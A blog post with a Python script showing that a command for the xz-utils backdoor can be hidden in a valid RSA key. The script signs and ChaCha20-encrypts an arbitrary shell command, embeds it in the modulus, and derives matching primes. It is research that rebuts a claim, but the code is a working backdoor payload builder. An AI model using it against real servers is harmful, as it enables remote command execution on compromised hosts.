Last week, a backdoor was discovered in xz-utils. The backdoor processes commands sent using RSA public keys as a covert channel. In order to prevent anyone else from using the backdoor, the threat actor implemented a cryptographic signature check on the payload.
I have seen a number of people claim that this would necessarily result in an obviously invalid RSA public key, or at least one with no corresponding private key.
This is incorrect, and someone nerd sniped me into proving it.
| 1 | #!/usr/bin/env python3 |
| 2 | |
| 3 | # python standard library imports |
| 4 | from os import urandom |
| 5 | from sys import argv, exit, stderr |
| 6 | |
| 7 | from hashlib import sha256 |
| 8 | from base64 import b64decode as b64d |
| 9 | from struct import pack_into, unpack_from |
| 10 | |
| 11 | # third party imports |
| 12 | from gmpy2 import mpz, next_prime, invert, lcm, gcd, c_div |
| 13 | |
| 14 | # i ain't 'fraid of no land mines, dragons, or dinosaurs with laser guns |
| 15 | from cryptography.hazmat.primitives.asymmetric.rsa import generate_private_key as rsa_generate |
| 16 | from cryptography.hazmat.primitives.asymmetric.rsa import RSAPrivateNumbers, RSAPublicNumbers |
| 17 | from cryptography.hazmat.primitives.asymmetric.ed448 import Ed448PrivateKey |
| 18 | |
| 19 | from cryptography.hazmat.primitives.ciphers.algorithms import ChaCha20 |
| 20 | from cryptography.hazmat.primitives.ciphers import Cipher |
| 21 | |
| 22 | from cryptography.hazmat.primitives.serialization import PrivateFormat, PublicFormat |
| 23 | from cryptography.hazmat.primitives.serialization import Encoding, NoEncryption |
| 24 | # End imports |
| 25 | |
| 26 | COMMAND = 2 |
| 27 | RSA_BITS, RSA_E = 2048, mpz(65537) |
| 28 | |
| 29 | # splice data into a bytes-like value, returning a new `bytes` value |
| 30 | def replace_at(orig, replace, offset): |
| 31 | return bytes(orig[0:offset] + replace + orig[offset+len(replace):]) |
| 32 | |
| 33 | # integer to two's complement big endian value encoded as a `bytearray` |
| 34 | def int_to_bytearray(i): |
| 35 | i = int(i) |
| 36 | i_bytes = i.to_bytes((i.bit_length() + 7) // 8, byteorder='big') |
| 37 | # a leading zero byte is needed if first bit is 1 |
| 38 | if i_bytes[0] >= 0x80: i_bytes = b'\0' + i_bytes |
| 39 | |
| 40 | return bytearray(i_bytes) |
| 41 | |
| 42 | # newer versions of gmpy2 have this natively :-/ |
| 43 | def mpz_from_bytes(b, byteorder='big', *, signed=False): |
| 44 | return mpz(int.from_bytes(b, byteorder, signed=signed)) |
| 45 | |
| 46 | # random prime, n bytes long |
| 47 | def random_prime(n): |
| 48 | rand_bytes = urandom(n) |
| 49 | rand_start = mpz_from_bytes(rand_bytes) |
| 50 | return next_prime(rand_start) # next *probable* prime |
| 51 | |
| 52 | # construct rsa private key given (n, e, d, p, q) |
| 53 | def rsa_construct(n, e, d, p, q): |
| 54 | # p should be greater than q |
| 55 | if q > p: p, q = q, p |
| 56 | |
| 57 | # compute chinese remainder theorem values |
| 58 | dmp1, dmq1 = map(lambda x: int(d % (x - 1)), (p, q)) |
| 59 | iqmp = int(invert(q, p)) |
| 60 | |
| 61 | # build the key from parameters |
| 62 | n, e, d, p, q = map(int, (n, e, d, p, q)) |
| 63 | pub_params = RSAPublicNumbers(e, n) |
| 64 | prv_params = RSAPrivateNumbers(p, q, d, dmp1, dmq1, iqmp, pub_params) |
| 65 | return prv_params.private_key() |
| 66 | |
| 67 | # pem format unencrypted private key |
| 68 | def pem_private(k): |
| 69 | return k.private_bytes( |
| 70 | Encoding.PEM, PrivateFormat.TraditionalOpenSSL, NoEncryption() |
| 71 | ).decode().strip() |
| 72 | |
| 73 | # generate key in the same way https://github.com/amlweems/xzbot does |
| 74 | def ed448_from_n(n): |
| 75 | seed = n.to_bytes(57, byteorder='big') |
| 76 | return Ed448PrivateKey.from_private_bytes(seed) |
| 77 | |
| 78 | # encrypt/decrypt with raw ChaCha20 |
| 79 | def chacha20(data, key, nonce): |
| 80 | cipher = Cipher(ChaCha20(key, nonce), mode=None) |
| 81 | cryptor = cipher.encryptor() |
| 82 | return cryptor.update(data) |
| 83 | |
| 84 | # process server private key |
| 85 | srv_pub_type = argv[1].encode() |
| 86 | srv_pub_type = len(srv_pub_type).to_bytes(4, 'big') + srv_pub_type |
| 87 | srv_pub_body = b64d(argv[2]) |
| 88 | srv_pub_hash = sha256(srv_pub_type + srv_pub_body).digest() |
| 89 | |
| 90 | # generate backdoor key |
| 91 | prv_key = ed448_from_n(int(argv[3])) |
| 92 | pub_key = prv_key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw) |
| 93 | sym_key = pub_key[0:32] |
| 94 | |
| 95 | # command is null terminated |
| 96 | command = argv[4].encode() + b'\0' |
| 97 | if len(command) > 64: |
| 98 | print('command too long, should not exceed 64 characters', file=stderr) |
| 99 | exit(1) |
| 100 | |
| 101 | # command needs to be at least five bytes for signing, pad as required |
| 102 | while len(command) < 5: command += b'\0' |
| 103 | |
| 104 | # the first few bytes of an rsa modulus probably aren't uniformly distributed, |
| 105 | # so start off with an N value from a normally generated key |
| 106 | rsa = rsa_generate(int(RSA_E), RSA_BITS) |
| 107 | n = rsa.private_numbers().public_numbers.n |
| 108 | n_bytes = int_to_bytearray(n) |
| 109 | |
| 110 | # xz backdoor precheck fields |
| 111 | cmd1, cmd2 = unpack_from('<LL', n_bytes, 0) |
| 112 | cmd3 = ((2**64 + COMMAND) - cmd1 * cmd2) % 2**64 |
| 113 | pack_into('<Q', n_bytes, 8, cmd3) |
| 114 | |
| 115 | # build payload |
| 116 | hdr_magic = b'\2\0\0\0' |
| 117 | hdr_flags = b'\0\0\0\0' |
| 118 | hdr_ukwn1 = b'\0' |
| 119 | hdr_cslen = bytes([len(command)]) |
| 120 | hdr_ukwn2 = b'\0' |
| 121 | header = hdr_magic + hdr_flags + hdr_ukwn1 + hdr_cslen + hdr_ukwn2 |
| 122 | to_sign = bytes(header + command + srv_pub_hash) |
| 123 | signature = prv_key.sign(to_sign) |
| 124 | plaintext = signature + command |
| 125 | ciphertext = chacha20(plaintext, sym_key, n_bytes[:16]) |
| 126 | |
| 127 | # splice the payload into the modulus |
| 128 | n_bytes = replace_at(n_bytes, ciphertext, 16) |
| 129 | n = mpz_from_bytes(n_bytes) |
| 130 | |
| 131 | # We'll choose a new prime `p` randomly, then divide the modulus to get a new |
| 132 | # `q`. With this process the lowest bits of the modulus corrosponding to the |
| 133 | # size (plus a few) of `p` get scrambled while the upper bits of the modulus |
| 134 | # remain fixed. The size of `p` is chosen here such that our payload is kept. |
| 135 | # NOTE: The security level of the key scales down with the size of `p`. |
| 136 | p_bytes = min((RSA_BITS // 8 - 17) - len(ciphertext), RSA_BITS // 16) |
| 137 | |
| 138 | # generate p, q to produce the evil modulus |
| 139 | tries = 0 |
| 140 | while True: |
| 141 | p = random_prime(p_bytes) |
| 142 | q = next_prime(c_div(n, p)) |
| 143 | n_payload = p * q |
| 144 | n_payload_bytes = int_to_bytearray(n_payload) |
| 145 | |
| 146 | good = 0 |
| 147 | for i in range(len(ciphertext)): |
| 148 | if n_payload_bytes[16+i] == ciphertext[i]: good += 1 |
| 149 | else: break |
| 150 | |
| 151 | if good == len(ciphertext): |
| 152 | # parameter validation |
| 153 | totient = lcm(p - 1, q - 1) |
| 154 | if gcd(totient, RSA_E) == 1: |
| 155 | # compute private exponent |
| 156 | d = invert(RSA_E, totient) |
| 157 | |
| 158 | rsa = rsa_construct(n_payload, RSA_E, d, p, q) |
| 159 | break |
| 160 | |
| 161 | if tries := tries + 1 > 100: |
| 162 | print('failed to generate key', file=stderr) |
| 163 | exit(1) |
| 164 | |
| 165 | print(pem_private(rsa)) |
I describe a similar technique in detail in my Stupid Certificate Tricks post, and also have an SSH Vanity Key Generator available to play with.